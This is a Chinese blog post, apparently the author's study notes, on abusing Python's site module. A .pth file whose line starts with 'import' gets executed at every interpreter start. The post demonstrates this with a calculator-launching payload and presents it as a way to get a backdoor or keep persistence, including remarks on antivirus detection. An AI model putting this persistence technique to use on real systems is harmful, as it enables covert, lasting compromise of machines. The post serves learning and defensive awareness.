Python pth 文件写入 getshell 或权限维持

发布时间 2023-04-20 14:35:51作者: Nestar

今天看到 Y4er 师傅写的文章,我这里简单学习了一下:https://y4er.com/posts/python-pth-file-write-getshell/

概述

python 的 site 模块支持 "Site-specific configuration hook" 的功能,这个功能点本身是用来将特定路径加入模块搜索路径。该模块在初始化期间自动导入。
sys.prefixsys.exec_prefixC:/Python,那么创建路径为 C:\Python\Lib\site-packages\1.pth 的 pth 文件,然后其内容为
c:/windows/temp/
那么在新的 python 进程中,temp 路径将被添加到 sys.path 中

本地测试了一下:

image

import sys

print(sys.prefix)
print(sys.exec_prefix)

然后询问 ChatGPT 得知 Mac 系统中 python 的 site-packages 路径在哪里:
/Library/Frameworks/Python.framework/Versions/{version}/lib/python{version}/site-packages/
进去新建一个 1.pth写入 /Users/sanqiushu/Works/
image

image

可以看到,我在 1.pth 中写的路径已经加入到环境变量了, 然后再改个代码执行的语句:
image

import os;os.system("open -a Calculator")

image
此时运行任何 python 代码都会弹计算器了

原理

在 site.py 的实现中,有这么一段

for n, line in enumerate(f):
    if line.startswith("#"):
        continue
    if line.strip() == "":
        continue
    try:
        if line.startswith(("import ", "import\t")):
            exec(line)
            continue
        line = line.rstrip()
        dir, dircase = makepath(sitedir, line)
        if not dircase in known_paths and os.path.exists(dir):
            sys.path.append(dir)
            known_paths.add(dircase)

当 pth 文件内容以 import 或者 import\t 开头时,会执行这一行。
那么当 pth 文件内容为
import os;os.system("calc")
新启动 python 进程则会执行 calc 命令。

注意

本地测试执行 notepad 时 os.system 会卡死 python 进程,最好用 os.popen 或者 subprocess 执行。

不过这里我没有进行测试,不太清楚什么情况

拓展

到 site.addpackage() 里面去看看代码,做个后门挺不错的

def addpackage(sitedir, name, known_paths):
    if known_paths is None:
        known_paths = _init_pathinfo()
        reset = True
    else:
        reset = False
    fullname = os.path.join(sitedir, name)
    _trace(f"Processing .pth file: {fullname!r}")
    try:
        # locale encoding is not ideal especially on Windows. But we have used
        # it for a long time. setuptools uses the locale encoding too.
        f = io.TextIOWrapper(io.open_code(fullname), encoding="locale")
    except OSError:
        return
    with f:
        for n, line in enumerate(f):
            if line.startswith("#"):
                continue
            if line.strip() == "":
                continue
            try:
                if line.startswith(("import ", "import\t")):
                    exec(line)
                    continue
                line = line.rstrip()
                dir, dircase = makepath(sitedir, line)
                if not dircase in known_paths and os.path.exists(dir):
                    sys.path.append(dir)
                    known_paths.add(dircase)
            except Exception:
                print("Error processing line {:d} of {}:\n".format(n+1, fullname),
                      file=sys.stderr)
                import traceback
                for record in traceback.format_exception(*sys.exc_info()):
                    for line in record.splitlines():
                        print('  '+line, file=sys.stderr)
                print("\nRemainder of file ignored", file=sys.stderr)
                break
    if reset:
        known_paths = None
    return known_paths

只要先在系统写入一个后门文件,然后把路径传入 site.addpackage() 就可以执行了
例如:在/Users/sanqiushu/tmp/1.pth中写入import os;os.system("open -a Calculator")
然后执行:

import site

site_dir = "/Users/sanqiushu/tmp/"
name = "1.pth"

site.addpackage(site_dir, name, None)

image

不过我没有做过杀软对抗,这样做的话确实最终执行命令的时候特征很少,但是写入 1.pth 的时候是无法做加密解密的,特征也很明显的。所以这个还是适合做个权限维持啥的吧。